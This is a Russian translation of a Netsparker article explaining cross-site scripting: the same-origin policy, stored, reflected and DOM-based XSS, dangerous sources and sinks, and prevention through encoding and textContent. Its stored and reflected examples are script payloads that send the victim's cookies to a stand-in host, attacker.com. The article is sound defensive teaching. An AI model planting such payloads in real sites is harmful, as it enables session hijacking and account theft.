Cross-site Scripting (XSS): определение и предотвращение

Spread the love

Перевод:  Netsparker Security TeamThe Cross-site Scripting (XSS) Vulnerability: Definition and Prevention

Уязвимость Cross-Site Scripting – одна из немногих уязвимостей, которая вошла в каждый десятый список самых важных угроз безопасности веб-приложений OWASP.

Чтобы понять уязвимость Cross-site Scripting, вы должны сначала понять основную концепцию политики единого источника (Same Origin Policy – SOP), которая запрещает веб-приложению извлекать контент со страниц с другим источником. Запрещая доступ к контенту из разных источников, случайные веб-сайты не могут читать или изменять данные со своей страницы на других страница например на Facebook или учетной записи PayPal при входе в них.

SOP является одним из важнейших принципов безопасности в каждом веб-браузере. Например, страница https://example.com/index.html может получить доступ к контенту с https://example.com/about.html, а https://attacker.com/index.html не может получить доступ к контенту с https: //example.com/about.html.

Cross-site Scripting (XSS) Уязвимость

Cross-site Scripting, также известный как XSS, является способом обхода концепции SOP в уязвимом веб-приложении. Всякий раз, когда HTML-код генерируется динамически, а пользовательский ввод не очищается (то есть не проверяется) и отображается на странице как есть, злоумышленник может вставить свой собственный HTML-код.

В таком случае злоумышленник может легко вставить код JavaScript, который будет работать в контексте сайта. Таким образом, злоумышленник может получить доступ к другим страницам в том же домене и может читать данные, такие как CSRF-токены или установленные файлы cookie.

Если файлы cookie, которые обычно содержат информацию идентификатора сеанса, могут быть прочитаны клиентским кодом JavaScript, злоумышленник может использовать их в своем браузере и войти в веб-приложение как жертва. Если это не работает, злоумышленник все равно может прочитать конфиденциальную информацию со страниц, например прочитать токены CSRF и сделать запросы от имени пользователя.

Различные типы уязвимости Cross-Site Scripting

Существует в основном три различных типа уязвимости Cross-site Scripting; Stored, Reflected и DOM XSS. Ниже мы рассмотрим более подробно каждого из них.

Stored Cross-site Scripting

Уязвимости Stored Cross-site возникают, когда полезная нагрузка (payload) сохраняется, например, в базе данных, а затем выполняется, когда пользователь открывает страницу в веб-приложении. Stored cross-site scripting очень опасно по ряду причин:

  • Полезная нагрузка не видна для фильтра XSS браузера
  • Пользователи могут случайно активировать полезную нагрузку, если они посещают уязвимую страницу, в то время как для использования Reflected XSS потребуется специально созданный URL-адрес или особые входные данные.

Пример Stored XSS

Stored XSS-уязвимость может возникнуть, если имя пользователя онлайн-доски объявлений не очищено должным образом при выводе на страницу. В этом случае злоумышленник может вставить вредоносный код при регистрации нового пользователя в форме. Когда имя пользователя отражается на странице доски объявлений, оно будет выглядеть так:

Username: user123<script>document.location='https://attacker.com/?cookie='+encodeURIComponent(document.cookie)</script>Registered since: 2016

Вышеуказанный вредоносный JavaScript запускается каждый раз, когда пользователь посещает этот раздел форума, и он отправляет злоумышленникам файлы cookie доски объявлений, которые хранятся в браузере пользователя, и затем использует их для кражи сеансов пользователя. Stored XSS может быть очень опасной уязвимостью, поскольку может иметь свойство червя – распространяться, особенно при использовании на популярных страницах.

Например, представьте себе доску объявлений или веб-сайт социальной сети, на котором есть общедоступная страница, которая уязвима для уязвимости stored XSS, такой как страница профиля пользователя. Если злоумышленник может разместить вредоносную полезную нагрузку JavaScript, которая добавляет себя на страницу профиля, вектор атаки выполняется каждый раз, когда посетитель открывает страницу, и полезная нагрузка распространяется с экспоненциальным ростом.

Reflected Cross-site Scripting (XSS)

Reflected XSS-уязвимость возникает, когда пользовательский ввод с URL-адреса или данных POST отражается на странице без сохранения, что позволяет злоумышленнику внедрить вредоносный контент. Это означает, что злоумышленник должен отправить созданный вредоносный URL-адрес или почтовую форму жертве, чтобы вставить полезную нагрузку, и жертва должна щелкнуть ссылку. Этот вид полезной нагрузки также обычно определяется встроенными фильтрами XSS в браузерах пользователя, таких как Chrome, Internet Explorer или Edge.

Пример Reflected XSS

В качестве примера XSS-атак мы будем использовать функцию поиска на новостном веб-сайте, которая работает путем добавления пользовательского ввода, полученного из запроса GET HTTP, к параметру q, как показано в следующем примере:

https://example.com/news?q=data+breach

В результатах поиска веб-сайт отражает содержание запроса, который искал пользователь, например:

You searched for "data breach":

Если функция поиска уязвима для уязвимости reflected cross-site scripting, злоумышленник может отправить жертве вредоносный URL-адрес, такой как приведенный ниже:

https://example.com/news?q=<script>document.location='https://attacker.com/log.php?c=' + encodeURIComponent(document.cookie)</script>

Когда жертва нажимает на вредоносный URL-адрес, выполняется атака XSS, и на веб-сайте отображается следующее:

You searched for "<script>document.location='https://attacker.com/log.php?c=' + document.cookie</script>":

Исходный код HTML, который отражает вредоносный код злоумышленника, перенаправляет браузер жертвы на веб-сайт, который контролируется злоумышленником, который затем крадет текущие файлы cookie / токены сеанса пользователя из браузера жертвы для сайта example.com в качестве параметра GET,

Пример DOM Cross-site Scripting

Представьте себе страницу http://www.example.com/test.html, которая содержит следующий код JavaScript:

<script>   document.write("<b>Current URL</b> : " + document.baseURI);</script>

Если вы отправите HTTP-запрос, например http://www.example.com/test.html# alert (1) </ script>, достаточно просто ваш код JavaScript будет выполнен, потому что страница пишет все, что вы ввели в URL к странице с функцией document.write. Если вы посмотрите на источник страницы, вы не увидите <script> alert (1) </ script>, потому что все это происходит в DOM и выполняется исполняемым кодом JavaScript.

После того, как вредоносный код выполняется на странице, вы можете просто использовать уязвимость cross-site scripting, основанную на DOM, чтобы украсть куки из браузера пользователя или изменить поведение страницы в веб-приложении, как вам нравится.

DOM XSS – реальная угроза

Различные исследования и исследования показали, что до 50% веб-сайтов уязвимы для уязвимости DSS Based XSS. Исследователи безопасности уже выявили проблемы XSS на основе DOM в известных интернет-компаниях, таких как Google, Yahoo и Alexa.

Фильтры на стороне сервера не имеют значения

Одно из самых больших различий между уязвимостями XSS на основе DOM и Reflected или Stored XSS заключается в том, что XSS на основе DOM не может быть остановлено серверными фильтрами. Причина довольно проста; все, что написано после “#” (hash), никогда не будет отправлено на сервер.

Так сложилось исторически что hash, введенный для простой прокрутки HTML-страницы до определенного элемента, впоследствии стал использоваться разработчиками JavaScript на страницах с AJAX для отслеживания страниц и различных других вещей, и в основном стал называться hash-bang “#!”.

Благодаря такому дизайну ничего после хеша не будет отправлено на сервер. Это означает, что вся защита на стороне сервера в коде не будет работать для уязвимостей DSS Based XSS. На самом деле, любой другой тип веб-защиты, такой как брандмауэры веб-приложений или универсальные средства защиты, такие как проверка запросов ASP.NET, не защитит вас от атак XSS на основе DOM.

Input & Output так называемый Источник & Приемник

Логика, лежащая в основе DOM XSS, заключается в том, что ввод от пользователя (источника) направляется в точку выполнения (приемник). В предыдущем примере нашим источником был document.baseURI, а приемником был document.write.

Однако вам нужно понять, что DOM XSS появится, когда источник, которым может управлять пользователь, будет использоваться в опасном приемнике.

Поэтому, когда вы видите это, вам нужно либо внести необходимые изменения в код, чтобы избежать уязвимости для DOM XSS, либо добавить кодировку соответствующим образом.

Ниже приведен список источников и приемников, которые обычно предназначены для атак DOM XSS. Обратите внимание, что это не полный список, но вы можете определить шаблон, все, что может контролироваться злоумышленником в источнике, и все, что может привести к выполнению сценария в приемнике.

Популярные источники

  • document.URL
  • document.documentURI
  • location.href
  • location.search
  • location.*
  • window.name
  • document.referrer

Популярные приемники

  • HTML модифицированные приемники
    • document.write
    • (element).innerHTML
  • HTML модифицированные для изменения поведения
    • (element).src (в определенном элементе)
  • Приемники связанные с выполнением кода
    • eval
    • setTimout / setInterval
    • execScript

Исправление  DOM Cross-site Scripting

Лучший способ исправить межсайтовый скриптинг на основе DOM и повысить безопасность веб-приложений – это использовать правильный метод вывода (приемник). Например, если вы хотите использовать пользовательский input для записи в элемент <div>, не используйте innerHtml, вместо этого используйте innerText/textContent. Это решит проблему, и это правильный путь для устранения уязвимостей XSS на основе DOM.

Всегда плохая идея использовать контролируемый пользователем input в опасных источниках, таких как eval. В 99% случаев это признак плохой или ленивой практики программирования, поэтому просто не делайте этого вместо того, чтобы пытаться дезинфицировать входные данные.

Наконец, чтобы исправить проблему в нашем исходном коде, вместо того, чтобы пытаться правильно кодировать выходные данные, что создает трудности и может легко ошибиться, мы просто использовали бы element.textContent, чтобы записать его в такой контент:

<b>Current URL:</b> <span id="contentholder"></span><script>document.getElementById("contentholder").textContent = document.baseURI;    </script>

Он делает то же самое, но на этот раз он не уязвим к уязвимостям cross-site scripting, основанным на DOM.

Воздействие уязвимости Cross-site Scripting

Влияние эксплуатируемой уязвимости XSS на веб-приложение сильно различается. Он варьируется от перехвата сеанса пользователя и, если он используется в сочетании с атакой социальной инженерии, может также привести к раскрытию конфиденциальных данных, атакам CSRF и другим уязвимостям безопасности. Используя уязвимость cross-site scripting, злоумышленник может выдать себя за жертву и захватить учетную запись. Если жертва имеет права администратора, это может даже привести к выполнению кода на сервере, в зависимости от приложения и привилегий учетной записи. Прочтите об инциденте apache.org jira incident  для получения дополнительной информации о том, как уязвимость XSS использовалась в успешной атаке, что также привело к выполнению кода.

Предотвращение XSS

Для предотвращения уязвимостей XSS очень важно применять контекстно-зависимую выходную кодировку. В некоторых случаях этого может быть достаточно для кодирования специальных символов HTML, таких как открывающие и закрывающие теги. В других случаях необходимо правильно применять кодировку URL. Ссылки обычно следует запрещать, если они не начинаются с протокола из белого списка, такого как http:// или https://, что предотвращает использование схем URI, таких как javascript://.

Несмотря на то, что большинство современных веб-браузеров имеют встроенный XSS-фильтр, их не следует рассматривать как альтернативу очистки. Они не могут отлавливать все виды межсайтовых скриптовых атак и не являются слишком умными, что иногда может приводить к ложным срабатываниям, которые могут помешать правильной загрузке некоторых страниц. Фильтр XSS веб-браузера должен быть только «второй линией защиты», и идея состоит в том, чтобы минимизировать влияние существующих уязвимостей.

Разработчики не должны использовать черные списки, поскольку для них существует множество обходных путей. Другой вещью, которую они должны избегать, является удаление опасных функций и символов, поскольку XSS-фильтры браузеров не могут распознавать опасные полезные данные, когда выходные данные подделаны с учетом возможных обходов. При этом единственное рекомендуемое предотвращение XSS – это кодирование (то есть очистка входных данных), как упомянуто выше.

Таблица классификации и серьезности уязвимостей

ClassificationID / Severity
PCI v3.26.5.7
CAPEC19
CWE79
WASC8
OWASP 2013A3
OWASP 2017A7
HIPAA164.308(a)
CVSS:3.0CVSS:3.0/VA:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Netsparker High
Была ли вам полезна эта статья?
[11 / 5]

Spread the love
Подписаться
Уведомление о
guest
0 Комментарий
Inline Feedbacks
View all comments